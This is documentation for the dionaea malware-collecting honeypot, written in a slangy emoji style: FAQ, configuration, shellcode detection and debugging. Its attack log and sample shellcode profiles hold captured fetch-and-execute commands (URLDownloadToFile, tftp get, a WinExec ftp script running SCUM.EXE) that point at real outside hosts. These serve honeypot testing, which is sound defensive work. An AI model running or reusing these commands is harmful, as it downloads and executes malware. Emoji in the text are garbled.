- Support
libnl >= 3.2.21
python/http
- Fix
unlink()calls
python/virustotal
- virustotal API v2.0
0.2.0 - (2013-11-02)
Last commit by original authors. ๐ซก absolute legends.
0.1.0
- Initial release. ๐ the origin story fr fr
โจ FAQ โจ
WARNING: The documentation is work in progress.
๐ ๏ธ Build/Install
- I get
gcc: command not found? โ installgcc.. like, that's it bestie ๐ - How to uninstall it? โ
rm -rf /opt/dionaea๐ซถ - I get
binding.pyx:โฆ: undeclared name not builtin: bytesduring the python modules build. โ install a recentcythonversion โจ - I get
Python.h not foundduring compiling cython โ install the appropriate headers for your python interpreter ๐ - I do not use ubuntu/debian and the instructions are useless for me therefore. โ so real of you, but: I use debian/ubuntu, and therefore I can only provide instructions for debian/ubuntu, but you are free to send me a diff for your operating system ๐
- I use Redhat/Centos 5 and the installation is frustrating and a mess as nothing works. โ Thats right, but I did not choose your operating system. Here is a list of outdated or missing packages for your choosen distribution: all. Yes, you'll even have to install
glib(you'll have 2.10 where 2.20 is required) from source. Gettingpython3compiled with a recentsqlite3version installed to/opt/dionaearequires editing thesetup.pyfile (patch <http://p.carnivore.it/KDIFWt>). /I experienced this wonderful operating system myself โฆ You really have to love your distro to stick with it, even if it ships software versions your grandma saw released in her youth. Centos is the best distro โฆ to change distros. No matter what you choose, it can't get worse./ ๐ญ๐ - Unable to build.
==> default: cp build/*/dionaea/*.so /opt/dionaea/lib/dionaea/python.so
==> default: cp:
==> default: target โ/opt/dionaea/lib/dionaea/python.soโ is not a directory
==> default: libtool: Version mismatch error. This is libtool 2.4.6 Debian-2.4.6-2, but the
==> default: libtool: definition of this LT_INIT comes from libtool 2.4.2.
==> default: libtool: You should recreate aclocal.m4 with macros from libtool 2.4.6 Debian-2.4.6-2
==> default: libtool: and run autoconf again.
Try to clean your build environment, bestie ๐งน
WARNING: This will remove all ignored and untracked files from the directory. Use --dry-run
git clean -xdf
๐ Run
- I get
OperationalErrorat unable to open database file when usinglogsqliteand it does not work at all โ go read the logsql instructions (#logsql) ๐ - I get a Segmentation Fault โ go read the segfault instructions (
#segfault) ๐ - I logrotate, and after logrotate dionaea does not log anymore. โ go read the logrotate instructions (
#logging) ๐ - p0f does not work. โ make sure you have p0f 2.0.8 and dionaea does not listen on
::, p0f can't deal with IPv6 ๐ - I'm facing a bug, it fails, and I can't figure out why. โ Explain the problem. If I'm interested in the nature of the problem, as it does not sound like pebcak, I may ask for a shell/screen and have a look myself, and if it is worth it, you'll even get a FAQ entry for some specialties of your OS ๐
- Unable to bind to port after dropping privileges โ Dropping privileges and binding to ports lower than 1024 is only support on Linux systems. If some of the optional build dependencies are missing dionaea might not be able to bind to these ports too. After enabling all log levels it should display some log messages like in the example below ๐
[10052017 15:58:17] connection connection.c:200: bind_local con 0x55f21b1ec720
[10052017 15:58:17] connection connection.c:216: bind_local socket 10 1.2.3.4:21
[10052017 15:58:17] connection connection.c:230: Could not bind 1.2.3.4:21 (Permission denied)
To fix this issue you have to install the kernel headers for your kernel and rebuild dionaea. If everything works as it should you might get log messages like in the example below. You might have noticed that there is now a pchild section. This means dionaea is using a child process with extended privileges to bind to the port ๐ง
[10052017 15:58:17] connection connection.c:200: bind_local con 0x55f21b1ec720
[10052017 15:58:17] connection connection.c:216: bind_local socket 10 1.2.3.4:21
[10052017 15::58:17] pchild pchild.c:199: sending msg to child to bind port ...
[10052017 15::58:17] pchild pchild.c:218: child could bind the socket!
[10052017 15::58:17] connection connection.c:316: ip '1.2.3.4' node '1.2.3.4:21'
๐ก TIPS AND TRICKS ๐ก
WARNING: The documentation is work in progress.
๐๏ธ Rotate bistream files
Dionaea does not have and may never will have a function/option to rotate the bistream files. But you can do this by using a cron job and a simple shell script ๐
Feel free to use and modify the script below ๐ซถ
#!/bin/bash
# Compress bistream files older than 2 days
find /var/lib/dionaea/bistreams/* -type f -mtime +2 -exec gzip {} \;
# Clear bistream logs from dionaea every week
find /var/lib/dionaea/bistreams/* -type f -mtime +7 -exec rm {} \;
find /var/lib/dionaea/bistreams/* -type d -empty -delete
๐ซ SUPPORT ๐ซ
๐ Cui honorem, honorem
- Google: โ Google has supported 3 students to work on dionaea during GSoc 2009, GSoc 2010 and GSoc 2011 ๐
- SURFnet: โ SURFnet has supported the project in the past(2010?-2014?). Working with SURFnet is a real pleasure ๐
๐ฌ Support
If you are getting frustrated, because things to not work for you and you already read the faq, join the ml and share your experience, or the chat ๐ค๐ฌ
GitHub
Use the issue tracker to report any problem.
Website: Issue tracker ๐
IRC
From time to time some of the developers join the #nepenthes channel on freenode. irc://irc.freenode.org/nepenthes ๐ป
Mailing List:
Only a few messages every year. Seems to be dead, no message since 2015 ๐
Website: Mailinglist nepenthes-devel ๐ฌ
๐ Links
- GSoC 2009 Project #10
http://honeynet.org/gsoc/project10๐ - The Honeynet Project ๐ฏ
Old documentation:
๐ฅ EXPLOITATION ๐ฅ
Attackers do not seek your service, attackers want to exploit you, they'll chat with the service for some packets, and afterwards sent a payload. dionaea has to detect and evaluate the payload to be able to gain a copy of the malware. In order to do so, dionaea uses libemu ๐ฅ
Given certain circumstances, libemu can detect shellcode, measure the shellcode, and if required even execute the shellcode. Shellcode detection is done by making use of GetPC heuristics, others wrote papers about it, we decided to write libemu to do so. This detection is rather time consuming, and therefore done using threads ๐งต
The part of dionaea which takes care of the network io can create a copy of all in/output run for a connection, this copy is passed to the detection facility, which is a tree of detection facilities, at this moment there is only a single leaf, the emu plugin. The emu plugin uses threads and libemu to detect and profile/measure shellcode ๐ณ
Shellcode measurement/profiling is done by running the shellcode in the libemu vm and recording API calls and arguments. For most shellcode profiling is sufficient, the recorded API calls and arguments reveal enough information to get an idea of the attackers intention and act upon them. For multi-stage shellcode, where the first exploitation stage of the shellcode would retrieve a second shellcode from the attacker, profiling is not sufficient, as we lack the information 'what to do' from the second stage of the shellcode, in this case we need to make use of shellcode execution. Shellcode execution is basically the same as shellcode profiling, the only difference is not recording the api calls, and we allow the shellcode to take certain actions, for example creating a network connection โก
๐ฆ Payloads
Once we have the payload, and the profile, dionaea has to guess the intention, and act upon it ๐ฏ
๐ Shells - bind/connectback
This payload offers a shell (cmd.exe prompt) to the attacker, either by binding a port and waiting for the attacker to connect to us again, or by connection to the attacker. In both cases, dionaea offers an cmd.exe emulation to the attacker, parses the input, and acts upon the input, usually the instructions download a file via ftp or tftp ๐
๐ URLDownloadToFile
These shellcodes use the URLDownloadToFile api call to retrieve a file via http, and execute the retrieved file afterwards โจ
โ๏ธ Exec
Making use of WinExec, these shellcode execute a single command which has to be parsed and processed like the bind/connectback shell shellcommands ๐ฅ๏ธ
๐ญ Multi Stage Payloads
We never know what the second stage is, therefore libemu is used to execute the shellcode in the libemu vm ๐ธ
โฌ๏ธ DOWNLOADS โฌ๏ธ
Once dionaea gained the location of the file the attacker wants it to downloads from the shellcode, dionaea will try to download the file. The protocol to downloads files via tftp and ftp is implemented in python (ftp.py and tftp.py) as part of dionaea, downloading files via http is done in the curl module - which makes use of libcurl's awsome http capabilities. Of course libcurl can run downloads for ftp too, but the ftp services embedded in malware a designed to work with windows ftp.exe client, and fail for others ๐๐
๐ค SUBMIT ๐ค
Once dionaea got a copy of the worm attacking her, we may want to store the file locally for further analysis, or submit the file to some 3rd party for further analysis ๐ช
dionaea can http/POST the file to several services like CWSandbox, Norman Sandbox or VirusTotal ๐
๐ CONFIGURATION - DIONAEA.CONF ๐
Okay bestie, listen โ if you're gonna change the software, you literally have to understand how it works first. So please, take the time to actually learn how it works, okay? Not optional. ๐ซถ
dionaea.conf is the main config file, and its sections cover:
loggingprocessorsdownloadsbistreamssubmitlistenmodules
โจ logging โจ
The logging section controlsโฆ logging. Yeah, shocker, I know ๐ญ. You can specify log domains and the loglevel for different logfiles. And since dionaea is pretty verbose, it's highkey useful to rotate the logfiles with logrotate.
# logrotate requires dionaea to be started with a pidfile
# in this case -p /var/run/dionaea.pid
# adjust the path to your needs
/var/log/dionaea*.log {
notifempty
missingok
rotate 28
daily
delaycompress
compress
create 660 root root
dateext
postrotate
kill -HUP `cat /var/run/dionaea.pid`
endscript
}
//etc/logrotate.d/dionaea/
๐ธ modules ๐ธ
downloads specify where to store downloaded malware. bistreams specify where to store bi-directional streams โ these are genuinely so useful when debugging, because they let you replay an attack at ip-level without messing around with pcap&tcpreplay, which never worked for me, fr fr ๐. submit specifies where to send files to via http or ftp, and you can define a new section within submit if you wanna add your own service. listen sets the addresses dionaea will listen to โ the default is all addresses it can find, that mode's called getifaddrs, but you can set it to manual and specify a single address if you want to limit it. And modules is the most powerfull section, because it specifies the modules to load plus the options for each module. ๐
๐ logsql ๐
This section controls the logging to the sqlite database. Heads up though: logsql does not work when chrooting โ python makes the path absolute and fails for requests after chroot(). ๐
logsql requires the directory where the logsql.sqlite file resides to be writeable by the user, as well as the logsql.sqlite file itself. So if you drop user privs, make sure the user you drop to is allowed to read/write the file and the directory.
chown MYUSER:MYGROUP /var/lib/dionaea -R
To query the logsql database, I recommend looking at the readlogsqltree.py <#readlogsqltree> script, and for visualisation, the gnuplotsql <#gnuplotsql> script.
The blog on logsql:
- 2009-11-06 dionaea sql logging
- 2009-12-08 post it yourself
- 2009-12-12 sqlite performance
- 2009-12-14 virustotal fun
- 2009-12-15 paris mission pack avs
- 2010-06-06 data visualisation
๐ฆ logxmpp ๐ฆ
This section controls the logging to xmpp services. If you wanna use logxmpp, make sure to enable logxmpp in the ihandler section. Using logxmpp lets you share your new collected files with other sensors anonymously. โจ
The blog on logxmpp:
- 2010-02-10 xmpp backend
- 2010-05-12 xmpp take #2
- 2010-05-15 xmpp take #3
pg_backend <#pg_backend> can be used as a backend for xmpp logging sensors.
๐ง p0f ๐ง
Not enabled by default, but recommend: the p0f service โ enable it by uncommenting p0f in the ihandlers section of the python modules section, and start p0f as suggested in the config. It costs nothing, and gives some pretty cool (even if outdated) informations about the attacker's operating system, and you can look them up from the sqlite database โ even the rejected connections. If you face problems, here are some hints.
๐ ihandlers ๐
The ihandlers section is used to specify which ihandlers get started by ihandlers.py. You do not want to miss p0f and logsql. Periodt.
โญ services โญ
services controls which services will get started by services.py.
๐ UTILS ๐
Dionaea ships with some utils, and since these utils are written in python and rely on the python3 interpreter dionaea requires to operate, this software can be found in modules/python/utils.
๐
readlogsqltree <#readlogsqltree> โ modules/python/readlogsqltree.py ๐
readlogsqltree is a python3 script which queries the logsql sqlite database for attacks, and prints out all related information for every attack. This is an example for an attack โ you get the vulnerability exploited, the time, the attacker, information about the shellcode, the file offered for download, and even the virustotal report for the file. Iconic, honestly:
2010-10-07 20:37:27
connection 483256 smbd tcp accept 10.0.1.11:445 <- 93.177.176.190:47650 (483256 None)
dcerpc bind: uuid '4b324fc8-1670-01d3-1278-5a47bf6ee188' (SRVSVC) transfersyntax 8a885d04-1ceb-11c9-9fe8-08002b104860
dcerpc bind: uuid '7d705026-884d-af82-7b3d-961deaeb179a' (None) transfersyntax 8a885d04-1ceb-11c9-9fe8-08002b104860
dcerpc bind: uuid '7f4fdfe9-2be7-4d6b-a5d4-aa3c831503a1' (None) transfersyntax 8a885d04-1ceb-11c9-9fe8-08002b104860
dcerpc bind: uuid '8b52c8fd-cc85-3a74-8b15-29e030cdac16' (None) transfersyntax 8a885d04-1ceb-11c9-9fe8-08002b104860
dcerpc bind: uuid '9acbde5b-25e1-7283-1f10-a3a292e73676' (None) transfersyntax 8a885d04-1ceb-11c9-9fe8-08002b104860
dcerpc bind: uuid '9f7e2197-9e40-bec9-d7eb-a4b0f137fe95' (None) transfersyntax 8a885d04-1ceb-11c9-9fe8-08002b104860
dcerpc bind: uuid 'a71e0ebe-6154-e021-9104-5ae423e682d0' (None) transfersyntax 8a885d04-1ceb-11c9-9fe8-08002b104860
dcerpc bind: uuid 'b3332384-081f-0e95-2c4a-302cc3080783' (None) transfersyntax 8a885d04-1ceb-11c9-9fe8-08002b104860
dcerpc bind: uuid 'c0cdf474-2d09-f37f-beb8-73350c065268' (None) transfersyntax 8a885d04-1ceb-11c9-9fe8-08002b104860
dcerpc bind: uuid 'd89a50ad-b919-f35c-1c99-4153ad1e6075' (None) transfersyntax 8a885d04-1ceb-11c9-9fe8-08002b104860
dcerpc bind: uuid 'ea256ce5-8ae1-c21b-4a17-568829eec306' (None) transfersyntax 8a885d04-1ceb-11c9-9fe8-08002b104860
dcerpc request: uuid '4b324fc8-1670-01d3-1278-5a47bf6ee188' (SRVSVC) opnum 31 (NetPathCanonicalize (MS08-67))
profile: [{'return': '0x7df20000', 'args': ['urlmon'], 'call': 'LoadLibraryA'}, {'return': '0', 'args': ['', 'http://208.53.183.158/m.exe', '60.exe', '0', '0'], 'call': 'URLDownloadToFile'}, {'return': '32', 'args': ['60.exe', '895'], 'call': 'WinExec'}, {'return': '0', 'args': ['-1'], 'call': 'Sleep'}]
offer: http://208.53.183.158/m.exe
download: 3eab379ddac7d80d3e38399fd273ddd4 http://208.53.183.158/m.exe
virustotal 2010-10-07 04:59:07 5/38 (13%) http://www.virustotal.com/file-scan/report.html?id=265e39edcba9d9004451601544e625f2d3d04f837d0aaf1f8464cb2c819c1939-1286420347
names 'High Risk Fraudulent Security Program' 'Suspicious file' 'Trojan.DownLoader1.27100' 'Worm.Win32.Rimecud' 'Worm:Win32/Rimecud.B'
To create such report for your own honeypots activities for the last 24 hours run:
./readlogsqltree.py -t $(date โ+%sโ)-24*3600
/var/lib/dionaea/logsql.sqlite
๐ gnuplotsql <#gnuplotsql> โ modules/python/gnuplotsql.py ๐
gnuplotsql is a very slow python3 script which runs some queries on the logsql <#logsql> sqlite database and creates graphs with gnuplot of the data, stores them on disk and creates an index of the data. The images are per protocol and look like this: Overview for dionaea smbd. Here <gnuplotsql> is how the whole thing looks like. To create such images of your own data, run:
./gnuplotsql.py -d /var/lib/dionaea/logsql.sqlite -p smbd -p epmapper -p mssqld -p httpd -p ftpd
The blog got something on gnuplotsql as well:
- 2010-12-05 sudden death <โ http://carnivore.it/2010/12/05/sudden_death
- 2010-10-01 Infosanityโs Blog: gnuplotsql.py <โ http://blog.infosanity.co.uk/2010/10/01/gnuplotsql-py/
- 2010-09-19 gnuplotsql <http://carnivore.it/2010/09/19/gnuplotsql>
๐ฅ pg_backend <#pg_backend> โ modules/python/xmpp/pg_backend.py ๐ฅ
pg_backend is the backend for logxmpp <#logxmpp>; currently it is a python2.x script which uses pyxmpp to access the xmpp service. It parses the messages received and can store the events in a postgres database and the received files on disk. pg_backend requires an xmpp account.
/without db/
./pg_backend.py -U USER@sensors.carnivore.it -P XMPPPASS -M dionaea.sensors.carnivore.it -C anon-files -C anon-events -f /tmp/
/with db/ create database
psql โฆ
start backend
./pg_backend.py -U USER@sensors.carnivore.it -P XMPPPASS -M dionaea.sensors.carnivore.it -C anon-files -C anon-events -s DBHOST -u DBUSER -d xmpp -p DBPASS -f /tmp/
๐ SEGFAULT ๐
Bestie. If you experience a segfault, you will see something like this:
This is the end. This software just had a segmentation fault. The bug you encountered may even be exploitable. If you want to assist in fixing the bug, please send the backtrace below to nepenthesdev@gmail.com. You can create better backtraces with gdb, for more information visit http://dionaea.carnivore.it/#segfault Once you read this message, your tty may be broken, simply type reset, so it will come to life again:
/bin/dionaea(sigsegv_backtrace_cb+0x20)[0x805c11e]
[0x70d420]
/lib/libemu/libemu.so.2(emu_env_w32_eip_check+0x94)[0x186974]
/lib/dionaea/emu.so(run+0x39)[0x89cced]
/lib/dionaea/emu.so(profile+0xbb)[0x89db88]
/lib/dionaea/emu.so(proc_emu_on_io_in+0x1e1)[0x89bfc5]
/bin/dionaea(recurse_io_process+0x31)[0x805df4a]
/bin/dionaea(processors_io_in_thread+0x85)[0x805e08d]
/bin/dionaea(threadpool_wrapper+0x2e)[0x805c99a]
/lib/libglib-2.0.so.0[0xaa9498]
/lib/libglib-2.0.so.0[0xaa7a2f]
/lib/libpthread.so.0[0xd8973b]
/lib/libc.so.6(clone+0x5e)[0x2b3cfe]
While the backtrace itself gives an idea what might be wrong, it does not fix the problem ๐ญ. To fix the problem, the logfiles usually help, as dionaea is very verbose by default. Below are some hints how to get started with debugging, click here <#support> for assistance.
debugging
๐งโโ๏ธ VALGRIND ๐งโโ๏ธ
okay bestie, Valgrind does a genuinely iconic job here, and this is literally how I use it:
valgrind -v --leak-check=full --leak-resolution=high --show-reachable=yes \
--log-file=dionaea-debug.log /bin/dionaea --my-dionaea-options
Then gdb, and logfile assisted is the whole move. ๐
For the above example, I was able to scrape the shellcode from the logfile, and run it in libemu, without involving dionaea at all, which reduces the problem:
gdb /bin/sctest
(gdb) run -S -s 10000000 -g < sc.bin
Starting program: /media/sda4/opt64/dionaea/bin/sctest -S -s 10000000 -g < sc.bin
Once it crashed, I retrieved a full backtrace:
Program received signal SIGSEGV, Segmentation fault.
env_w32_hook_GetProcAddress (env=0x629a30, hook=<value optimized out>) at environment/win32/env_w32_dll_export_kernel32_hooks.c:545
545 struct emu_env_hook *hook = (struct emu_env_hook *)ehi->value;
(gdb) bt full
#0 env_w32_hook_GetProcAddress (env=0x629a30, hook=<value optimized out>) at environment/win32/env_w32_dll_export_kernel32_hooks.c:545
dll = 0x6366f0
ehi = <value optimized out>
hook = <value optimized out>
c = 0x611180
mem = <value optimized out>
eip_save = <value optimized out>
module = 2088763392
p_procname = 4289925
procname = <value optimized out>
#1 0x00007ffff7b884fb in emu_env_w32_eip_check (env=0x629a30) at environment/win32/emu_env_w32.c:306
dll = <value optimized out>
ehi = <value optimized out>
hook = 0x64c5b0
eip = <value optimized out>
#2 0x0000000000403995 in test (e=0x60f0e0) at sctestmain.c:277
hook = 0xe2
ev = 0x0
iv = <value optimized out>
cpu = 0x611180
mem = <value optimized out>
env = 0x629a30
na = <value optimized out>
j = 7169
last_vertex = 0x0
graph = 0x0
eh = 0x0
ehi = 0x0
ret = <value optimized out>
eipsave = 2088807840
#3 0x00000000004044e4 in main (argc=5, argv=0x7fffffffe388) at sctestmain.c:971
e = <value optimized out>
In this case, the problem was a bug in libemu. Then gdb dump memory comes in clutch. ๐ญ
Once again, it broke, and we got a backtrace:
#0 0xb70b0b57 in emu_queue_enqueue (eq=0xb3da0918, data=0x4724ab) at emu_queue.c:63
eqi = (struct emu_queue_item *) 0x0
#1 0xb70b15d1 in emu_shellcode_run_and_track (e=0xb4109cd0, data=0xb411c698 "", datasize=<value optimized out>, eipoffset=<value optimized out>,
steps=256, etas=0xb410cd60, known_positions=0xb3d7a810, stats_tested_positions_list=0xb3da3bf0, brute_force=true) at emu_shellcode.c:408
current_pos_ti_diff = (struct emu_tracking_info *) 0x88c3c88
current_pos_ht = <value optimized out>
current_pos_v = <value optimized out>
current_pos_satii = (struct emu_source_and_track_instr_info *) 0xb407e7f8
bfs_queue = (struct emu_queue *) 0xb3e17668
ret = 4662443
eipsave = <value optimized out>
hook = <value optimized out>
j = 4
es = <value optimized out>
eli = (struct emu_list_item *) 0xb3e17658
cpu = (struct emu_cpu *) 0xb4109ab0
mem = (struct emu_memory *) 0xb410c3a0
eq = (struct emu_queue *) 0xb3da0918
env = (struct emu_env *) 0xb3e10208
eli = (struct emu_list_item *) 0x4724ab
#2 0xb70b1a2a in emu_shellcode_test (e=0xb4109cd0, data=0xb411c698 "", size=<value optimized out>) at emu_shellcode.c:546
es = (struct emu_stats *) 0xb3d92b28
new_results = (struct emu_list_root *) 0xb3da3bf0
offset = <value optimized out>
el = (struct emu_list_root *) 0xb4100510
etas = (struct emu_track_and_source *) 0xb410cd60
eh = (struct emu_hashtable *) 0xb3d7a810
eli = (struct emu_list_item *) 0xb3d92b40
results = (struct emu_list_root *) 0xb3d82850
es = <value optimized out>
__PRETTY_FUNCTION__ = "emu_shellcode_test"
#3 0xb712140c in proc_emu_on_io_in (con=0x8864b58, pd=0x87dc388) at detect.c:145
e = (struct emu *) 0xb4109cd0
ctx = (struct emu_ctx *) 0x87a2400
offset = 14356
streamdata = (void *) 0xb411c698
size = 8196
ret = 0
__PRETTY_FUNCTION__ = "proc_emu_on_io_in"
#4 0x0805e8be in recurse_io_process (pd=0x87dc388, con=0x8864b58, dir=bistream_in) at processor.c:167
No locals.
#5 0x0805ea01 in processors_io_in_thread (data=0x8864b58, userdata=0x87dc388) at processor.c:197
con = (struct connection *) 0x8864b58
pd = (struct processor_data *) 0x87dc388
__PRETTY_FUNCTION__ = "processors_io_in_thread"
#6 0x0805d2da in threadpool_wrapper (data=0x87d7bd0, user_data=0x0) at threads.c:49
t = (struct thread *) 0x87d7bd0
timer = (GTimer *) 0xb4108540
#7 0xb77441f6 in g_thread_pool_thread_proxy (data=0x83db460) at gthreadpool.c:265
task = (gpointer) 0x87d7bd0
pool = (GRealThreadPool *) 0x83db460
#8 0xb7742b8f in g_thread_create_proxy (data=0x83dc7d0) at gthread.c:635
__PRETTY_FUNCTION__ = "g_thread_create_proxy"
#9 0xb76744c0 in start_thread () from /lib/i686/cmov/libpthread.so.0
No symbol table info available.
#10 0xb75f36de in clone () from /lib/i686/cmov/libc.so.6
No symbol table info available.
Again, it was a bug in libemu, an unbreakable loop consuming all memory. To reproduce, we have to dump the tested buffer, therefore we need the buffers address and size. Luckily the size is noted in frame #2 as 8196 and and the data address is a parameter which got not optimized out for frame #2:
dump binary memory /tmp/sc.bin 0xb411c698 0xb411e89c
Afterwards, debugging libemu by feeding the data into sctest is easy.
Iโve had fun with objgraph and gdb debugging reference count leaks in python too, here <http://carnivore.it/2009/12/23/arcane_bugs> is the writeup:
gdb python3 embedded
Sometimes, there is something wrong with the python scripts, but gdb does not provide any useful output:
bt full
#12 0xb765f12d in PyEval_EvalFrameEx (f=0x825998c, throwflag=0) at Python/ceval.c:2267
stack_pointer = (PyObject **) 0x8259af0
next_instr = (unsigned char *) 0x812fabf "m'"
opcode = 100
oparg = <value optimized out>
why = 3071731824
err = 1
x = (PyObject *) 0xb7244aac
v = <value optimized out>
w = (PyObject *) 0xadb5e4dc
u = (PyObject *) 0xb775ccb0
freevars = (PyObject **) 0x8259af0
retval = (PyObject *) 0x0
tstate = (PyThreadState *) 0x809aab0
co = (PyCodeObject *) 0xb717b800
instr_ub = -1
instr_lb = 0
instr_prev = -1
first_instr = (unsigned char *) 0x812f918 "t"
names = (PyObject *) 0xb723f50c
consts = (PyObject *) 0xb71c9f7c
opcode_targets = {0xb765d202, 0xb765f60a, 0xb766133a, 0xb76612db, 0xb7661285, 0xb7661222, 0xb765d202, 0xb765d202, 0xb765d202, 0xb76611dd,
0xb766114b, 0xb76610b9, 0xb766100f, 0xb765d202, 0xb765d202, 0xb7660f7d, 0xb765d202, 0xb765d202, 0xb765d202, 0xb7660eb7, 0xb7660dfb, 0xb765d202,
0xb7660d30, 0xb7660c65, 0xb7660ba9, 0xb7660aed, 0xb7660a31, 0xb7660975, 0xb76608b9, 0xb76607fd, 0xb765d202 <repeats 24 times>, 0xb7660736, 0xb766066b,
0xb76605af, 0xb76604f3, 0xb765d202, 0xb7660437, 0xb766035d, 0xb76602ad, 0xb7661aba, 0xb76619fe, 0xb7661942, 0xb7661886, 0xb7661b76, 0xb76614a8,
0xb7661413, 0xb766138e, 0xb766171f, 0xb76616e6, 0xb765d202, 0xb765d202, 0xb765d202, 0xb766162a, 0xb766156e, 0xb76601f1, 0xb7660135, 0xb76617ca,
0xb7660120, 0xb765fff7, 0xb765d202, 0xb765fd72, 0xb765fc6e, 0xb765d202, 0xb765fc1d, 0xb765fe17, 0xb765fd90, 0xb765fec0, 0xb765fb41, 0xb765fadc,
0xb765f9ed, 0xb765f94d, 0xb765f8be, 0xb765f7e3, 0xb765f779, 0xb765f6bd, 0xb765f66c, 0xb765ef1d, 0xb765eea2, 0xb765ede1, 0xb765ed1a, 0xb765ec35,
0xb765ebc3, 0xb765eb30, 0xb765ea69, 0xb765f1c7, 0xb765f027, 0xb765f560, 0xb765efc1, 0xb76630e3, 0xb766310c, 0xb765e64c, 0xb765e592, 0xb765f49a,
0xb765f3de, 0xb765d202, 0xb765d202, 0xb765f39e, 0xb7663135, 0xb766315f, 0xb765e9cb, 0xb765d202, 0xb765e948, 0xb765e8bb, 0xb765e817, 0xb765d202,
0xb765d202, 0xb765d202, 0xb765d2ae, 0xb765e3e0, 0xb7663275, 0xb765e1a2, 0xb766324e, 0xb765e0ba, 0xb765e01e, 0xb765df74, 0xb765d202, 0xb765d202,
0xb7663189, 0xb76631d3, 0xb7663220, 0xb765e149, 0xb765d202, 0xb765de09, 0xb765dec0, 0xb765f2c0, 0xb765d202 <repeats 108 times>}
#13 0xb7664ac0 in PyEval_EvalCodeEx (co=0xb717b800, globals=0xb7160b54, locals=0x0, args=0x84babb8, argcount=9, kws=0x0, kwcount=0, defs=0xb719e978,
defcount=1, kwdefs=0x0, closure=0x0) at Python/ceval.c:3198
f = (PyFrameObject *) 0x825998c
retval = <value optimized out>
freevars = (PyObject **) 0x8259af0
tstate = (PyThreadState *) 0x809aab0
x = <value optimized out>
u = <value optimized out>
Luckily python3 ships with some gdb macros, which assist in dealing with this mess. You can grab them over here <โ http://svn.python.org/view/python/tags/r311/Misc/gdbinit?view=markup, place them to ~/.gdbinit, where ~ is the homedirectory of the user dionaea runs as. If you get /warning: not using untrusted file โ/home/user/.gdbinitโ/ you are running gdb via sudo, and the file /home/user/.gdbinit has to be owned by root. If you are running as root, and you get /Program received signal SIGTTOU, Stopped (tty output)./, run stty -nostop before running gdb, reattach the process with fg, close gdb properly, and start over. ๐ซถ
Once you got the macros loaded properly at gdb startup, set a breakpoint on PyEval_EvalFrameEx after dionaea loaded everything:
break PyEval_EvalFrameEx
Then we have some useful macros for gdb:
up
pyframev
pyframev combines the output of pyframe and pylocals.
๐ Be aware you can segfault dionaea now from within gdb โ going up, out of the python call stack and calling some of the macros can and in most cases will segfault dionaea, therefore usebacktraceto make sure you are still within valid frames. We canโt usepystackorpystackvas they rely onPy_Main, which is an invalid assumption for embedded python.
Okay so, real talk โ dionaea actually embeds a python interpreter, which means it can hand you a python cli too. ๐โจ And here's the thing: that cli is blocking. Like, actually blocking. The moment you start typing a command, the whole process sits there waiting for you to finish it and will not accept any new connections until you do. So use it wisely! It lets you poke at dionaea directly, which is genuinely the most useful thing ever for development and debugging. ๐
๐ Configuration
You can get at the dionaea.conf from python โ but readonly, bestie, look only, no touching ๐:
from dionaea import g_dionaea
g_dionaea.config()
โจ๏ธ Completition and History on the CLI
If you live in the cli (same, honestly), you can make it act like a real shell, history and completition included. It's giving actual terminal energy ๐:
import rlcompleter, readline
readline.parse_and_bind('tab: complete')
๐ฅ Triggering Downloads
Sometimes it's just so helpful to trigger a download without waiting around for an actual attack to show up. Obsessed with this for verifying permissions are correct when switching the user, or for making sure a submission to a 3rd party actually works correctly. ๐ And you can trigger downloads for all the major protocols, no cap:
ftp
from dionaea.ftp import ftp
f = ftp()
f.download(None, 'anonymous','guest','ftp.kernel.org',21, 'welcome.msg', 'binary','ftp://ftp.kernel.org/welcome.msg')
tftp
from dionaea.tftp import TftpClient
t = TftpClient()
t.download(None, 'tftp.example.com', 69, 'filename')
http
So the http download isn't done in python, right? Which means we don't use the download facility directly โ instead we create an incident, and that is what triggers the download. Slay ๐ :
from dionaea.core import incident
i = incident("dionaea.download.offer")
i.set("url", "http://www.honeynet.org")
i.report()
๐ฅ incidents
incidents are the ipc used in dionaea. Simple as that, iykyk. ๐ฅ
๐๏ธ dumping
from dionaea.core import ihandler
class idumper(ihandler):
def __init__(self, pattern):
ihandler.__init__(self, pattern)
def handle(self, icd):
icd.dump()
a = idumper('*')
๐ญ emu profile
A small collection of various shellcode profiles gatherd from dionaea. Little greatest-hits album of emulation. ๐ฆ
CreateProcess Commands
This profile will trigger a download via tftp. ๐ฏ
p='[{"call": "CreateProcess", "args": ["", "tftp.exe -i 92.17.46.208 get ssms.exe", "", "", "1", "40", "", "", {"dwXCountChars": "0", "dwFillAttribute": "0", "hStdInput": "0", "dwYCountChars": "0", "cbReserved2": "0", "cb": "0", "dwX": "0", "dwY": "0", "dwXSize": "0", "lpDesktop": "0", "hStdError": "68", "dwFlags": "0", "lpReserved": "0", "lpReserved2": "0", "hStdOutput": "0", "lpTitle": "0", "dwYSize": "0", "wShowWindow": "0"}, {"dwProcessId": "4712", "hProcess": "4711", "dwThreadId": "4714", "hThread": "4712"}], "return": "-1"}, {"call": "CreateProcess", "args": ["", "ssms.exe", "", "", "1", "40", "", "", {"dwXCountChars": "0", "dwFillAttribute": "0", "hStdInput": "0", "dwYCountChars": "0", "cbReserved2": "0", "cb": "0", "dwX": "0", "dwY": "0", "dwXSize": "0", "lpDesktop": "0", "hStdError": "68", "dwFlags": "0", "lpReserved": "0", "lpReserved2": "0", "hStdOutput": "0", "lpTitle": "0", "dwYSize": "0", "wShowWindow": "0"}, {"dwProcessId": "4712", "hProcess": "4711", "dwThreadId": "4714", "hThread": "4712"}], "return": "-1"}, {"call": "ExitThread", "args": ["0"], "return": "0"}]'
from dionaea.core import incident
i = incident("dionaea.module.emu.profile")
i.set("profile", str(p))
i.report()
URLDownloadToFile
This profile will trigger a download. ๐
p='[{"call": "LoadLibraryA", "args": ["urlmon"], "return": "0x7df20000"}, {"call": "URLDownloadToFile", "args": ["", "http://82.165.32.34/compiled.exe", "47.scr", "0", "0"], "return": "0"}, {"call": "WinExec", "args": ["47.scr", "895"], "return": "32"}]'
from dionaea.core import incident
i = incident("dionaea.module.emu.profile")
i.set("profile", str(p))
i.report()
WinExec Commands
This profile uses WinExec to create a command file for windows ftp client, downloads a file, and executes the file. Iconic behavior honestly ๐:
p='[{"call": "WinExec", "args": ["cmd /c echo open welovewarez.com 21 > i&echo user wat l0l1 >> i &echo get SCUM.EXE >> i &echo quit >> i &ftp -n -s:i &SCUM.EXE\r\n", "0"], "return": "32"}, {"call": "ExitThread", "args": ["0"], "return": "0"}]'
from dionaea.core import incident
